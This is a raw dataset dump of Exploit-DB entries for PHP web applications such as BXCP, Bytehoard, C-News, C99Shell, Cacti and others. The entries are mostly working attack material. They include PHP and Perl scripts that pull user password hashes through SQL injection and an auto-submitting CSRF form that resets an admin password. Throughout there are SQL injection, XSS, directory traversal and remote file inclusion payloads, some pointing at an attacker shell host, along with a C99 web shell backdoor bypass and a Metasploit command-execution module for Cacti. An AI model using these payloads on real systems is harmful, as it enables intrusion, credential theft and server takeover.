deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1513
Description: BXCP 0.2.9.9 - 'tid' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-19
Author: x128

Exploit:
<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooooo bxcp 0.299 exploit oooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php bxcp-0299-exploit.php [url] [user id]\n";
    echo "oo proxy support  $ php bxcp-0299-exploit.php [url] [user id] [proxy]:[port]\n";
    echo "oo example        $ php bxcp-0299-exploit.php http://localhost 1\n";
    echo "oo open the file bxcp_pw.html - there you find the password of the user\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 19/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?show=topic&tid=" . urlencode("0 UNION SELECT 1, 1, 1, nick, 1, 1, 1, `password`, 1, 1, 1, 1, 1, 1, 1 FROM users WHERE id = ". $_SERVER['argv'][2] ."/*");

    $xss_connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("bxcp_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-19]
Exploit-DB #1975
Description: BXCP 0.3.0.4 - 'where' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-02
Author: x23

Exploit:
#!/usr/bin/perl

use IO::Socket;

print q{
-------------------------------------------------------------------------------------
BXCP exploit by x23 ~ curse-crew.de ~ geekbar.cx.la ~ geeknet.uttx.net
use: bxcp.pl [server] [dir] [id]
sample:
$ perl bxcp.pl bxcp.com / 1
~ connecting
~ exploiting
~ hash: *censored* ;D
-------------------------------------------------------------------------------------

};

$webpage =   $ARGV[0];
$directory = $ARGV[1];
$vic_id =    $ARGV[2];

if (!$vic_id) { die "~ read how to use ;)\n"; }

$get = "http://".$webpage.$directory."index.php?mod=files&action=view&where=-1+UNION+";
$get .= "SELECT+users_nick,0,users_pwd,0,0,0,0,0,0,0,0,0,0,0,0+FROM+{pre}_users+WHERE+users_id=";
$get .= $vic_id;

print "~ connecting\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage",
PeerPort=>"80") || die "[+] Can't connect to Server\n";
print "~ exploiting\n";
print $sock "GET $get HTTP/1.1\n";
print $sock "Host: $webpage\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\n";
print $sock "Connection: close\n\n";

while ($answer = <$sock>) {
  #print $answer;
  if ($answer =~ /([0-9a-f]{32})\n/) {
     print "~ hash: $1\n";
     break;
  }
}

close($sock);

# milw0rm.com [2006-07-02]
Exploit-DB #14563
Description: BXR 0.6.8 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-08-05
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22503
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html
Product: BXR
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr )
Vulnerable Version: 0.6.8 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/user/update" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/user/update/1" method="post" name="main" >

<input type="hidden" name="user[name]" value="admin" />
<input type="hidden" name="user[email]" value="myemail (at) example (dot) com [email concealed]" />
<input type="hidden" name="user[password]" value="123" />
<input type="hidden" name="user[password_confirmation]" value="123" />
<input type="hidden" name="belongs_to_group[1]" value="yes" />
<input type="hidden" name="user[default_folder_id]" value="1" />
<input type="hidden" name="commit" value="Save" />

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version
Exploit-DB #23261
Description: Bytehoard 0.7 - File Disclosure
Type: webapps
Platform: php
Date: 2003-10-20
Author: Ezhilan

Exploit:
source: https://www.securityfocus.com/bid/8850/info

Bytehoard is prone to directory traversal attacks. This could potentially permit remote attackers to gain unauthorized access to sensitive files hosted on the system running the software.

http://www.example.com/bytehoard/index.php?infolder=../../../../
Exploit-DB #1860
Description: Bytehoard 2.1 - 'server.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-01
Author: beford

Exploit:
Script: Bytehoard 2.1 Epsilon/Delta  www.bytehoard.org
Discovered: beford <xbefordx gmail com>
File: ./bytehoard/includes/webdav/server.php
Vuln: Remote File Include

[code]
require_once $bhconfig['bhfilepath']."/includes/webdav/_parse_propfind.php";
[/code]


http://url.com/bytehoard/includes/webdav/server.php?bhconfig[bhfilepath]=attacker

# milw0rm.com [2006-06-01]
Exploit-DB #22995
Description: C-Cart 1.0 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-08-08
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8368/info

C-Cart is prone to a path disclosure vulnerability. Passing invalid data as a URI parameter to several C-Cart scripts will cause an error message to be displayed, which contains installation path information.

http://www.example.com/shop/search.php?q='
http://www.example.com/shop/show.php?q='
Exploit-DB #31714
Description: C-News 1.0.1 - 'install.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-30
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28989/info

C-News is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/install.php?etape=[XSS]
Exploit-DB #2308
Description: C-News 1.0.1 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-05
Author: SHiKaA

Exploit:
#==============================================================================================
#C-News <= v1.0.1 (path) Remote File Inclusion Exploit
#===============================================================================================
#                                                                       
#Critical Level : Dangerous                                             
#                                                                       
#Venedor site : http://www.c-news.fr/       
#                                                                       
#Version : v1.0.1                                             
#                                                         
#================================================================================================
#Bug in : affichage/commentaires.php
#
#Vlu Code :
#--------------------------------
#      include($path . 'data/config.inc.php');
# 
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/affichage/commentaires.php?path=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd
# Special Thx To : SiMooooo
==================================================================================================

# milw0rm.com [2006-09-05]
Exploit-DB #26521
Description: C.P.Sub 4.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2013-07-01
Author: Chako

Exploit:
#!/usr/bin/python
#
#
####################################################################
#
# Exploit Title: C.P.Sub <= v4.5 Misconfiguration and Improper Authentication
# Date: 2013/6/27
# Exploit Author: Chako
# Vendor Homepage: http://www.cooltey.org/ping/php.php
# Software Download Link: http://cooltey.myweb.hinet.net/cpsub_v4.5.zip
# Version: <= v4.5
# Tested on: Windows 7 
#
#
####################################################################

Improper Authentication:
==========================================

Description:
    C.P.Sub <= v4.5 use "user_com=" parameter to identify if the user has admin privilege.
	Therefore an attacker could simply change the value for "user_com=" parameter to gain admin privilege.


/check.php (LINE: 36-44)
--------------------------------------------------------------
if($_GET[user_com] != "")
{
  $user_com = $_GET[user_com];
}elseif($_POST[user_com] != "")
{
  $user_com = $_POST[user_com];
}
if($user_com == "biggest")
{
--------------------------------------------------------------


Exploit:
--------------------------------------------------------------

change
http://Example_Target/info.php?cookie=yes&user_com=second

to
http://Example_Target/info.php?cookie=yes&user_com=biggest



Misconfiguration
==========================================
There are some default accounts for C.P.Sub <= v4.5 that allows an attacker
to access back-end management page. It could lead to further attack.
Exploit-DB #38877
Description: C2C Forward Auction Creator - '/auction/casp/Admin.asp' SQL Injection (Admin Authentication Bypass)
Type: webapps
Platform: php
Date: 2013-12-16
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/64329/info
 
EtoShop C2C Forward Auction Creator is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
 
An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.
 
EtoShop C2C Forward Auction Creator 2.0; other version may also be vulnerable. 

www.example.com/demo/C2CForwardAuction/auction/casp/admin.asp

UserID : x' or ' 1=1--
Password : x' or ' 1=1--
Exploit-DB #38876
Description: C2C Forward Auction Creator 2.0 - '/auction/asp/list.asp?pa' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-16
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/64329/info

EtoShop C2C Forward Auction Creator is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

An attacker can exploit these issues by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

EtoShop C2C Forward Auction Creator 2.0; other version may also be vulnerable. 

http://www.example.com/C2CForwardAuction/auction/asp/list.asp?pa=[SQL INJECTION]
Exploit-DB #34025
Description: C99Shell (Web Shell) - 'c99.php' Authentication Bypass
Type: webapps
Platform: php
Date: 2014-07-10
Author: Mandat0ry

Exploit:
# Exploit Title: C99 Shell Authentication Bypass via Backdoor
# Google Dork: inurl:c99.php
# Date: June 23, 2014
# Exploit Author: mandatory ( Matthew Bryant )
# Vendor Homepage: http://ccteam.ru/
# Software Link: https://www.google.com/
# Version: < 1.00 beta
# Tested on:Linux 
# CVE: N/A

All C99.php shells are backdoored. To bypass authentication add "?c99shcook[login]=0" to the URL. 

e.g. http://127.0.0.1/c99.php?c99shcook[login]=0

The backdoor:
@extract($_REQUEST["c99shcook"]);

Which bypasses the authentication here:
if ($login) {
    if (empty($md5_pass)) {
        $md5_pass = md5($pass);
    }
    if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {
        if ($login_txt === false) {
            $login_txt = "";
        } elseif (empty($login_txt)) {
            $login_txt = strip_tags(ereg_replace("&nbsp;|<br>", " ", $donated_html));
        }
        header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");
        header("HTTP/1.0 401 Unauthorized");
        exit($accessdeniedmess);
    }
}

For more info: http://thehackerblog.com/every-c99-php-shell-is-backdoored-aka-free-shells/

~mandatory
Exploit-DB #33979
Description: C99Shell 1.0 Pre-Release build 16 (Web Shell) - 'ch99.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-05-19
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40134/info

C99Shell is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

C99Shell 1.0 pre-release build 16 is vulnerable; other versions may also be affected. 

http://www.example.com/Ch99.php?directory=<iframe/+/onload=alert[PII_REDACTED]60)></iframe>

http://www.example.com/Ch99.php?directory=<ScRiPt+bad=">"+src="http://127.0.0.1/16.js?[PII_REDACTED]60"></ScRiPt>

http://www.example.com/Ch99.php?directory=<img+src=http://127.0.0.1/cars.jpg+onload=alert[PII_REDACTED]60)>
Exploit-DB #43269
Description: Cab Booking Script 1.0 - 'city' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Cab Booking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/cab-booking-script-2/
# Demo: http://fxwebsolution.com/demo/cab_booking/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/service-list?city=[SQL]&main_search=
# 
# '+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# 
# # # # #
Exploit-DB #50767
Description: Cab Management System 1.0 - 'id' SQLi (Authenticated)
Type: webapps
Platform: php
Date: 2022-02-21
Author: Alperen Ergel

Exploit:
# Exploit Title: Cab Management System 1.0 - 'id' SQLi (Authenticated)
# Exploit Author: Alperen Ergel
# Contact: @alpernae (IG/TW)
# Software Homepage: https://www.sourcecodester.com/php/15180/cab-management-system-phpoop-free-source-code.html
# Version : 1.0
# Tested on: windows 10 xammp | Kali linux
# Category: WebApp
# Google Dork: N/A
# Date: 18.02.2022
######## Description ########
#
# 
#  Authenticate and get update client settings will be appear the
#  id paramater put your payload at there it'll be work 
# 
#
#
######## Proof of Concept ########

========>>> REQUEST <<<=========

GET /cms/admin/?page=clients/manage_client&id=1%27%20AND%20(SELECT%208928%20FROM%20(SELECT(SLEEP(10)))hVPW)%20AND%20%27qHYS%27=%27qHYS HTTP/1.1
Host: localhost
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=m1s7h9jremg0vj7ipk9m05n1nt
Connection: close
Exploit-DB #3756
Description: Cabron Connector 1.1.0-Full - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-04-17
Author: Dj7xpl

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                   Cabron Connector v1.1.0 
-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Author :   Dj7xpl / Dj7xpl[at]Yahoo[dot]com
* Type :     Remote File Inclusion Vuln
* Download:  http://cabron.sourceforge.net
* Vuln:      http://[Target]/[Path]/services/samples/inclusionService.php?CabronServiceFolder=[EvilTxt]%00

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Vuln Code: 
             include_once("$CabronServiceFolder/lib/includedFunction.php");   <== Line(1)

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2007-04-17]
Exploit-DB #32443
Description: CAcert - 'analyse.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-09-29
Author: Alexander Klink

Exploit:
source: https://www.securityfocus.com/bid/31481/info

CAcert is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects versions of the CAcert source code released on or before September 21, 2008. 

openssl req -new -x509 -subj "/CN=<\/pre><script>alert(document.cookies)<\/script><pre>"
Exploit-DB #17428
Description: Cachelogic Expired Domains Script 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-22
Author: Brendan Coles

Exploit:
Cachelogic Expired Domains Script 1.0 multiple security vulnerabilities

# Date: 2011-06-22
# Author: Brendan Coles <bcoles@gmail.com>
# Advisory: http://itsecuritysolutions.org/2011-03-24_Cachelogic_Expired_Domains_Script_1.0_multiple_security_vulnerabilities/

# Software: Cachelogic Expired Domains Script
# Version: <= 1.0
# Google Dork: allinurl:page domain ext filter hyphen numbers ncharacter

# Vendor: CacheLogic
# Homepage: http://cachelogic.net/
# Notified: 2011-03-20 (patched 2011-03-24)

# Full Path Disclosure:

http://localhost/[PATH]/index.php?page[]
http://localhost/[PATH]/index.php?domain[]
http://localhost/[PATH]/index.php?ext[]
http://localhost/[PATH]/index.php?filter[]
http://localhost/[PATH]/index.php?hyphen[]
http://localhost/[PATH]/index.php?numbers[]
http://localhost/[PATH]/index.php?ncharacter[]
http://localhost/[PATH]/index.php?ncharacter='
http://localhost/[PATH]/index.php?searchdays[]
http://localhost/[PATH]/index.php?action[]

# Reflected Cross-Site Scripting (XSS):

http://localhost/[PATH]/stats.php?name="><script>alert(1)</script><p+"
http://localhost/[PATH]/stats.php?ext="><script>alert(1)</script><p+"

# SQL Injection:

http://localhost/[PATH]/index.php?ncharacter=-1+union+select+@@version,null,null--
Exploit-DB #16881
Description: Cacti - 'graph_view.php' Remote Command Execution (Metasploit)
Type: webapps
Platform: php
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: cacti_graphimage_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cacti graph_view.php Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
				Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
				0.8.6-d are vulnerable.
			},
			'Author'         => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					[ 'OSVDB', '17539' ],
					[ 'BID', '14042' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 15 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
			], self.class)
	end

	def exploit
		# Obtain a valid image ID
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
				{
					'action' => 'list'
				}
			}, 10)

		if (not res)
			print_error("The server gave no response")
			return
		end

		m = res.body.match(/local_graph_id=(.*?)&/)
		if (not m)
			print_error("Could not locate a valid image ID")
			return
		end

		# Trigger the command execution bug
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
				{
					'local_graph_id' => m[1],
					'graph_start'    => "\necho YYY;#{payload.encoded};echo YYY;echo\n"
				}
			}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print("")

			m = res.body.match(/YYY(.*)YYY/)

			if (m)
				print_status("Command output from the server:")
				print(m[1])
			else
				print_status("This server may not be vulnerable")
			end

		else
			print_status("No response from the server")
		end
	end

end